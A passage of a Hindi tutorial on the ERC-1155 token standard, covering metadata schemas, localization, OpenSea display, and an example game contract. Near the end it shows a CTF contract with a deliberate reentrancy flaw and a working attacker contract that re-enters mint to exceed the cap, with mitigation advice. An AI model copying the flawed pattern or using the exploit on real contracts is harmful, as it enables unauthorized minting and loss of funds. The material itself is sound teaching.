यह URI आमतौर पर किसी ऑफ-चेन रिसोर्स, जैसे सर्वर या IPFS की ओर पॉइंट करता है, जहाँ मेटाडेटा स्टोर किया जाता है।
ERC-1155 मेटाडेटा URI JSON स्कीमा, जैसा कि स्टैंडर्ड से कॉपी किया गया है, नीचे उल्लिखित है:
{
"title": "Token Metadata",
"type": "object",
"properties": {
"name": {
"type": "string",
"description": "Identifies the asset to which this token represents"
},
"decimals": {
"type": "integer",
"description": "The number of decimal places that the token amount should display - e.g. 18, means to divide the token amount by 1000000000000000000 to get its user representation."
},
"description": {
"type": "string",
"description": "Describes the asset to which this token represents"
},
"image": {
"type": "string",
"description": "A URI pointing to a resource with mime type image/* representing the asset to which this token represents. Consider making any images at a width between 320 and 1080 pixels and aspect ratio between 1.91:1 and 4:5 inclusive."
},
"properties": {
"type": "object",
"description": "Arbitrary properties. Values may be strings, numbers, object or arrays."
}
}
}
एक कार NFT के लिए एक उदाहरण JSON जो ऊपर दिए गए JSON मेटाडेटा स्कीमा के साथ संरेखित (aligns) है:
{
"title": "RareSkills Car Metadata",
"type": "object",
"properties": {
"name": "RareSkills Car #1",
"description": "A high-performance electric car with cutting-edge technology.",
"image": "https://image-uri/rareskills-car1.png",
"year": 2024,
"topSpeed": "200 mph",
"batteryCapacity": "100 kWh",
"features": ["Autopilot", "Full Self-Driving", "Premium Sound System"],
}
}
title फ़ील्ड मेटाडेटा के उद्देश्य का वर्णन करता है, type फ़ील्ड मेटाडेटा के लिए डेटा फ़ॉर्मेट निर्दिष्ट करता है, properties फ़ील्ड कार के बारे में अतिरिक्त एट्रिब्यूट्स या मेटाडेटा को परिभाषित करता है।
URI JSON Schema में लोकलाइज़ेशन (Localization) फ़ील्ड
लोकललाइज़ेशन का समर्थन करने वाले क्लाइंट JSON फ़ॉर्मेट वाले ERC-1155 में localization एट्रिब्यूट (यदि मौजूद है) का उपयोग करके टोकन जानकारी को कई भाषाओं में प्रदर्शित करने में सक्षम हो सकते हैं।
localization मेटाडेटा के लिए स्कीमा इस प्रकार है:
{
"title": "Token Metadata",
"type": "object",
"properties": {
...
"localization": {
"type": "object",
"required": ["uri", "default", "locales"],
"properties": {
"uri": {
"type": "string",
"description": "The URI pattern to fetch localized data from. This URI should contain the substring `{locale}` which will be replaced with the appropriate locale value before sending the request."
},
"default": {
"type": "string",
"description": "The locale of the default data within the base JSON"
},
"locales": {
"type": "array",
"description": "The list of locales for which data is available. These locales should conform to those defined in the Unicode Common Locale Data Repository (http://cldr.unicode.org/)."
}
}
}
}
}
नीचे मेटाडेटा JSON फ़ाइल का एक उदाहरण दिया गया है जिसमें एक localization एट्रिब्यूट है:
{
"name": "RareSkills Token",
"description": "Each token represents a unique pass in RareSkills community.",
"properties": {
"localization": {
"uri": "ipfs://xxx/{locale}.json",
"default": "en",
"locales": ["en", "es", "fr"]
}
}
}
locales प्रॉपर्टी तीन तत्वों वाला एक एरे (array) है: en, es, और fr, जिसमें en डिफ़ॉल्ट भाषा के रूप में सेट है। एरे के प्रत्येक तत्व की अपनी संबंधित भाषा में अपनी मेटाडेटा JSON फ़ाइल है।
es.json:
{
"name": "RareSkills simbólico",
"description": "Cada token representa un pase único en la comunidad RareSkills."
}
fr.json:
{
"name": "RareSkills Jeton",
"description": "Chaque jeton représente un pass unique dans la communauté RareSkills."
}
टोकन आईडी प्रतिस्थापन के समान, यदि uri में स्ट्रिंग {locale} है तो क्लाइंट्स को इसे locales एरे में परिभाषित उपलब्ध लोकेल (locales) में से किसी एक के साथ बदलना होगा जो तब लक्षित (target) भाषा में मेटाडेटा JSON फ़ाइल की ओर पॉइंट करता है।
फ्रेंच भाषा मेटाडेटा प्राप्त करने के लिए उदाहरण चरण (Steps)
-
टोकन मेटाडेटा JSON के लिए URI प्राप्त करने के लिए टोकन आईडी
314592के साथuriफ़ंक्शन को कॉल करें// Returned uri: https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json -
हमारी वांछित भाषा के लिए बेस URI प्राप्त करने के लिए चरण 1 में लौटाए गए uri से JSON कंटेंट को ऑफ-चेन पढ़ें
{ "name": "RareSkills Token", "description": "Each token represents a unique pass in RareSkills community.", "properties": { "localization": { "uri": "https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0/{locale}.json", "default": "en", "locales": ["en", "es", "fr"] } } } -
मेटाडेटा का फ्रेंच संस्करण प्राप्त करने के लिए
localization → uriफ़ील्ड में{locale}स्ट्रिंग कोfrसे बदलें// French Language URI: // [https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0/fr.json](https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json)
किसी अविश्वसनीय मेटाडेटा के साथ इंटरेक्ट करते समय, इसे पार्स करने से पहले परिणामों को सैनिटाइज़ (sanitize) करना सुनिश्चित करें। फ्रंट एंड पर रेंडर किया गया कोई भी JSON क्रॉस साइट स्क्रिप्टिंग (XSS) हमलों के लिए वेक्टर हो सकता है।
OpenSea मेटाडेटा की व्याख्या कैसे करता है
ERC-1155 कॉन्ट्रैक्ट्स OpenSea द्वारा समर्थित हैं और यह अनुभाग दिखाता है कि OpenSea ERC-1155 मेटाडेटा की व्याख्या (interprets) कैसे करता है। Common Ground World नामक एक ब्लॉकचेन गेम से एक लाइव उदाहरण है:

लेखन के समय, Common Ground World में इन-गेम एसेट्स के रूप में परिभाषित 681 कलेक्शन्स हैं, जिन्हें ऊपर दी गई छवि में OpenSea द्वारा “Unique items” (लाल बॉक्स) के रूप में संदर्भित किया गया है। प्रत्येक कलेक्शन में सभी एसेट्स का योग (sum) लगभग 9 मिलियन (हरा बॉक्स) है।
यहाँ गेम के कलेक्शन्स में से एक का उदाहरण दिया गया है:

Water Tank कलेक्शन की कुल सप्लाई लगभग 4,800 आइटम (हरा बॉक्स) है जो लगभग 2,900 एड्रेसेस (लाल बॉक्स) के स्वामित्व में है।
ध्यान दें, OpenSea किसी दिए गए ERC-721 टोकन के लिए कुल सप्लाई की जानकारी प्रदान नहीं करता है क्योंकि प्रत्येक tokenID की सप्लाई एक होती है और ठीक एक ओनर होता है। यहाँ तुलना के लिए, F15C93 के स्वामित्व वाला एक रैंडम Bored Ape Yacht Club NFT है:

OpenSea के Details सेक्शन को देखकर यह स्पष्ट होता है कि यह टोकन ERC-1155 स्टैंडर्ड का पालन कर रहा है, नीचे लाल बॉक्स देखें:

OpenSea टोकन के मेटाडेटा से खींचकर विवरण (description) और ट्रेट (trait) जानकारी प्रदर्शित करने में सक्षम है, जिसे Token ID पर क्लिक करके देखा जा सकता है:
{
"decimalPlaces": 0,
"description": "Never underestimate the power of passive, on-demand water for your crops. Your Farmers will thank you!",
"image": "https://tokens.gala.games/images/sandbox-games/town-star/storage/water-tank.gif",
"name": "Water Tank",
"properties": {
"category": "Storage",
"game": "Town Star",
"rarity": {
"hexcode": "#939393",
"icon": "https://tokens.gala.games/images/sandbox-games/rarity/common.png",
"label": "Common",
"supplyLimit": 5159
},
"tokenRun": "storage"
}
}
OpenSea metadata standards को परिभाषित करता है जिनका अनुपालन URIs को करना चाहिए ताकि OpenSea ERC721 और ERC1155 एसेट्स के लिए ऑफ-चेन मेटाडेटा खींच (pull) सके।
इम्प्लीमेंटेशन उदाहरण
निम्नलिखित एक उदाहरण ERC-1155 इम्प्लीमेंटेशन कॉन्ट्रैक्ट है जो एक साधारण गेम है। यह गेम स्टेट को बदलने के लिए रैपर (wrappers) और हेल्पर्स (helpers) के रूप में कार्य करने वाले अतिरिक्त फ़ंक्शन्स के साथ OpenZeppelin’s ERC-1155 abstract contract को इंस्टेंटिएट (instantiates) करता है:
initializePlayer: कॉन्स्टेंटINITIAL_IN_GAME_CURRENCY_BALANCEद्वारा परिभाषित राशि को मिंट करके खिलाड़ी के अकाउंट को इनिशियलाइज़ करता है।mintInGameCurrency: किसी विशिष्ट खिलाड़ी के लिए अतिरिक्त इन-गेम करेंसी को मिंट करता है।mintCar: खिलाड़ियों को यूनिक NFT-आधारित कारों को मिंट करने की अनुमति देता है।
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import { ERC1155 } from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
contract GameAssets is ERC1155 {
uint256 constant TOKEN_ID_IN_GAME_CURRENCY = 0; // fungible tokenId
uint256 constant TOKEN_ID_BASE_CAR_COLLECTION = 1; // non-fungible tokenId
uint256 constant INITIAL_IN_GAME_CURRENCY_BALANCE = 1000;
uint256 constant MINIMUM_AMOUNT = 1500;
uint256 public nextTokenIndex;
constructor(string memory uri) ERC1155(uri) {}
function initializePlayer(address to, bytes memory data) public {
mintInGameCurrency(to, INITIAL_IN_GAME_CURRENCY_BALANCE, data);
}
function mintInGameCurrency(address to, uint256 value, bytes memory data) public {
_mint(to, TOKEN_ID_IN_GAME_CURRENCY, value, data);
}
function mintCar(address player, bytes memory data) public returns (uint256 carId) {
// ASSERT PLAYER'S BALANCE OF THE TOKEN ID `TOKEN_ID_IN_GAME_CURRENCY`
// EQUALS OR GREATER THAN `MINIMUM_AMOUNT`
require(balanceOf(player, TOKEN_ID_IN_GAME_CURRENCY) >= MINIMUM_AMOUNT, "");
// THE NON-FUNGIBLE MAGIC TRICK
carId = (TOKEN_ID_BASE_CAR_COLLECTION << 128) + nextTokenIndex++;
// MINT CAR
_mint(player, carId, 1, data);
}
}
NOTE: यह कॉन्ट्रैक्ट केवल प्रदर्शन (demonstration) के उद्देश्यों के लिए है और इसमें प्रमुख सुरक्षा सुविधाओं और ऑप्टिमाइज़ेशन्स को छोड़ दिया गया है।
गेम में दो प्रकार के टोकन होने जा रहे हैं:
- एक इन-गेम करेंसी ($IGC) जिसे कोई खिलाड़ी क्वेस्ट पूरा करके कमा सकता है। यह एक फंजिबल टोकन होने जा रहा है।
- एक नॉन-फंजिबल टोकन जो कारों के कलेक्शन का प्रतिनिधित्व करता है जिसे खिलाड़ी मिंट कर सकते हैं।
जब हम इस कॉन्ट्रैक्ट को डिप्लॉय करते हैं, तो हमारा कॉन्ट्रैक्ट एड्रेस 0xCc3958FE4Beb3bcb894c184362486eBEc2E1fD4D है और हम प्लेयर एड्रेस के रूप में 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 का उपयोग करेंगे।
अगले कुछ अनुभागों में हम यह प्रदर्शित करेंगे कि इस कॉन्ट्रैक्ट के टोकन एसेट्स को प्रबंधित करने के लिए इसके साथ कैसे इंटरेक्ट किया जाए।
ERC-1155 का उपयोग करने वाला एक गेम उदाहरण
नीचे दिया गया फ़्लोचार्ट दर्शाता है कि खिलाड़ी गेम के ERC-1155 कॉन्ट्रैक्ट के साथ कैसे इंटरेक्ट करते हैं, जिसमें इन-गेम करेंसी और कारों को मिंट करना शामिल है।

ERC-1155 टोकन 0: $IGC मिंट करें

मान लें कि हम चाहते हैं कि खिलाड़ी 1000 $IGC के बैलेंस के साथ शुरुआत करें। हम गेम की शुरुआत में अपने कॉन्ट्रैक्ट में initializePlayer फ़ंक्शन को कॉल करके इन टोकन को प्रत्येक खिलाड़ी के लिए मिंट कर सकते हैं। यह IGC (0) के लिए टोकन आईडी और मिंट की जाने वाली मात्रा को OpenZeppelin बेस कॉन्ट्रैक्ट के _mint(address to, uint256 id, uint256 value, bytes memory data) पर भेज देगा।
यह _mint फ़ंक्शन टोकन बनाने के लिए OpenZeppelin का मेथड है और यह अंततः स्वीकृति जाँच (acceptance checks) करता है, safeTransferFrom को कॉल करता है और स्टैंडर्ड द्वारा आवश्यक TransferSingle इवेंट (नीचे नीला बॉक्स) का उत्सर्जन करता है।
initializePlayer फ़ंक्शन को कॉल करने के बाद हम निम्नलिखित लॉग्स देख सकते हैं:

लाल बॉक्स में, हम देख सकते हैं कि TransferSingle इवेंट उत्सर्जित हुआ था, और हरे बॉक्स में ज़ीरो एड्रेस ने हमारी इन-गेम करेंसी (टोकन आईडी 0) की 1000 इकाइयाँ हमारे प्लेयर के एड्रेस पर भेजीं।
और $IGC मिंट करें
जैसे-जैसे हमारा खिलाड़ी क्वेस्ट पूरे करता है, हम उन्हें अधिक $IGC के साथ पुरस्कृत करना चाहते हैं। हम गेम कॉन्ट्रैक्ट में mintInGameCurrency फ़ंक्शन को कॉल कर सकते हैं, जो तब OpenZeppelin के _mint फ़ंक्शन को कॉल करता है, जिसमें हमारे प्लेयर का एड्रेस (0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), इनाम के रूप में मिंट किए जाने वाले टोकन की मात्रा (500) और रिसीवर के कॉलबैक पर भेजने के लिए कोई बाइट डेटा (इस मामले में कोई डेटा नहीं) निर्दिष्ट किया जाता है। इन वैल्यूज़ के साथ mintInGameCurrency को कॉल करने से टारगेट एड्रेस पर 500 $IGC टोकन मिंट हो जाएंगे, जिससे कुल बैलेंस 1500 $IGC टोकन हो जाएगा।
जब हम balanceOf के माध्यम से अपने खिलाड़ी के $IGC बैलेंस की जांच करते हैं:

हम देखते हैं कि हमारे खिलाड़ी के पास अब 1500 $IGC (प्रारंभिक + इनाम) का बैलेंस है।
ERC-1155 टोकन 1: नॉन-फंजिबल एसेट्स (Cars) की मिंटिंग

अब, मान लें कि हम न्यूनतम $IGC बैलेंस रखकर खिलाड़ियों को कारों को मिंट करने की अनुमति देना चाहते हैं। ध्यान रखें, कार कलेक्शन नॉन-फंजिबल है।
सबसे पहले, हम प्रत्येक कार NFT के लिए यूनिक मेटाडेटा परिभाषित करेंगे जिसमें कार की विशेषताएं शामिल हैं।
उदाहरण के लिए, हमारे कलेक्शन में पहली कार का URI होगा:
https://token-cdn-domain/0000000000000000000000000000000100000000000000000000000000000000.json
जहाँ id है:
डेसीमल में
या
हेक्स में
नारंगी बिट्स कार कलेक्शन आईडी (1) का प्रतिनिधित्व करते हैं, जबकि हरे बिट्स पहली कार टोकन आईडी (0) का प्रतिनिधित्व करते हैं। साथ मिलकर, वे एक यूनिक आईडी बनाते हैं जो मेटाडेटा को पॉइंट करता है, मान लीजिए:
{
"name": "Super Fast Car",
"description": "This super fast car is not like any other, it's super fast.",
"image": "https://images.com/{id}.png",
"properties": {
"features": {
"speed": "100",
"color": "blue",
"model": "SuperFast x1000",
"rims": "aluminum"
}
}
}
अब, हम उनके कार NFT को मिंट करने के लिए अपने कॉन्ट्रैक्ट पर mintCar फ़ंक्शन को कॉल करते हैं:
function mintCar(address player, bytes memory data) public returns (uint256 carId) {
// ASSERT PLAYER'S BALANCE OF THE TOKEN ID `TOKEN_ID_IN_GAME_CURRENCY`
// EQUALS OR GREATER THAN `MINIMUM_AMOUNT`
require(balanceOf(player, TOKEN_ID_IN_GAME_CURRENCY) >= MINIMUM_AMOUNT, "");
// THE NON-FUNGIBLE MAGIC TRICK
carId = (TOKEN_ID_BASE_CAR_COLLECTION << 128) + nextTokenIndex++;
// MINT CAR
_mint(player, carId, 1, data);
}
carId वेरिएबल वह जगह है जहाँ नॉन-फंजिबल मैजिक होता है। यह कार कलेक्शन आईडी और अगले उपलब्ध टोकन इंडेक्स (शून्य से शुरू होता है) को मिलाकर प्रत्येक कार NFT के लिए एक यूनिक टोकन आईडी की गणना करता है।
mintCar फ़ंक्शन कॉल करने के बाद:

जैसी कि उम्मीद थी, address zero से खिलाड़ी के एड्रेस पर एक कार NFT (पीला बॉक्स) मिंट की गई।
NOTE: NFT की ID (लाल बॉक्स) 340282366920938463463374607431768211456 है, जो (1 << 128) + 0 का परिणाम है, जिसमें 1 कार कलेक्शन के लिए बेस टोकन आईडी है और 0 कलेक्शन के भीतर NFT का itemID है।
एक ही कॉन्ट्रैक्ट के भीतर फंजिबल और नॉन-फंजिबल दोनों टोकन के प्रबंधन के अलावा, ERC-1155 कॉन्ट्रैक्ट्स में सुरक्षा कमजोरियों (security vulnerabilities) को संबोधित करना भी महत्वपूर्ण है। एक आम कमजोरी रीएंट्रेंसी (reentrancy) हमले हैं, जो मिंटिंग या ट्रांसफर प्रक्रिया का फायदा उठा सकते हैं।
ERC-1155 में मिंटिंग और ट्रांसफरिंग के दौरान रीएंट्रेंसी हमले (Reentrancy Attacks)
कॉलबैक फ़ंक्शन्स के कारण जो safeTransferFrom और safeBatchTransferFrom ऑपरेशन्स पर किए जाते हैं, ERC-1155 का उपयोग करने वाले कॉन्ट्रैक्ट्स रीएंट्रेंसी हमलों (re-entrancy attacks) के प्रति संवेदनशील होते हैं। ERC-1155 अपने आप में सुरक्षित है, लेकिन इसमें असुरक्षित मिंट जैसे कोड जोड़ने से रीएंट्रेंसी हो सकती है।
Solidity Riddles by RareSkills CTF चुनौतियों से this कॉन्ट्रैक्ट पर विचार करें:
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.15;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
contract Overmint1_ERC1155 is ERC1155 {
using Address for address;
mapping(address => mapping(uint256 => uint256)) public amountMinted;
mapping(uint256 => uint256) public totalSupply;
constructor() ERC1155("Overmint1_ERC1155") {}
function mint(uint256 id, bytes calldata data) external {
require(amountMinted[msg.sender][id] <= 3, "max 3 NFTs");
totalSupply[id]++;
_mint(msg.sender, id, 1, data);
amountMinted[msg.sender][id]++;
}
function success(address _attacker, uint256 id) external view returns (bool) {
return balanceOf(_attacker, id) == 5;
}
}
ध्यान दें कि mint फ़ंक्शन msg.sender को 3 NFTs से अधिक मिंट करने से रोकने का प्रयास करता है। हालाँकि, इसमें रीएंट्रेंसी लॉक (reentrancy lock) शामिल नहीं है और न ही इसके ऑपरेशन्स चेक-इफेक्ट्स-इंटरेक्शन पैटर्न (checks-effects-interactions pattern) का पालन करते हैं, क्योंकि यह msg.sender द्वारा मिंट किए गए अमाउंट की जाँच तब करता है जब यह मिंट और कॉलबैक को निष्पादित कर चुका होता है। इस प्रकार, एक हमलावर अपने दुर्भावनापूर्ण (malicious) कॉन्ट्रैक्ट के onERC1155Received कॉलबैक फ़ंक्शन के भीतर से mint फ़ंक्शन को कॉल करके इस कॉन्ट्रैक्ट का फायदा उठा सकता है, जैसा कि निम्नलिखित एक्सप्लॉइट (exploit) कॉन्ट्रैक्ट प्रदर्शित करता है:
contract AttackOvermint1_ERC1155 {
Overmint1_ERC1155 overmint1_ERC1155;
constructor(Overmint1_ERC1155 _overmint1_ERC1155) {
overmint1_ERC1155 = _overmint1_ERC1155;
}
function attackMint(uint256 id) external {
overmint1_ERC1155.mint(id, "");
}
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) public returns (bytes4) {
uint256 balance = overmint1_ERC1155.balanceOf(address(this), _id);
if (balance < 5) {
overmint1_ERC1155.mint(1, "");
}
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
}
हमलावर सबसे पहले मिंट शुरू करने के लिए अपने दुर्भावनापूर्ण कॉन्ट्रैक्ट में एक फ़ंक्शन कॉल करेगा। इससे msg.sender हमलावर का कॉन्ट्रैक्ट बन जाएगा। जब NFT मिंट हो जाता है, तो हमलावर के कॉन्ट्रैक्ट पर onERC1155Received कॉल किया जाएगा। यह फ़ंक्शन यह जाँचने के लिए देखता है कि क्या वांछित राशि पहले ही मिंट हो चुकी है और यदि नहीं तो यह mint फ़ंक्शन में फिर से प्रवेश (reenters) करता है।
ERC-1155 इम्प्लीमेंटेशन कॉन्ट्रैक्ट्स के लिए चेक-इफेक्ट्स-इंटरेक्शन पैटर्न का सख्ती से पालन करके और/या रीएंट्रेंसी लॉक को लागू करके इस भेद्यता (vulnerability) को कम करना महत्वपूर्ण है।
निष्कर्ष (Conclusion)
ERC-1155 ने एक ही कॉन्ट्रैक्ट के भीतर कई प्रकार के टोकन लागू करने के लिए एक इंटरफ़ेस को मानकीकृत (standardize) किया है। यह एक ही बार में कई टोकन के लिए बैच ऑपरेशन्स और अप्रूवल्स के साथ-साथ टोकन कॉन्ट्रैक्ट्स को डिप्लॉय करने जैसे गैस बचत तंत्र (gas saving mechanisms) की अनुमति देता है।
यह स्टैंडर्ड विभिन्न टोकन सेट का प्रबंधन करते समय कई कॉन्ट्रैक्ट्स के साथ इंटरेक्ट करने की आवश्यकता को समाप्त करता है, जिससे ब्लॉकचेन गेम्स और कई टोकन का उपयोग करने वाले अन्य प्रोजेक्ट्स के लिए गैस दक्षता (gas efficiency) और UX में सुधार होता है।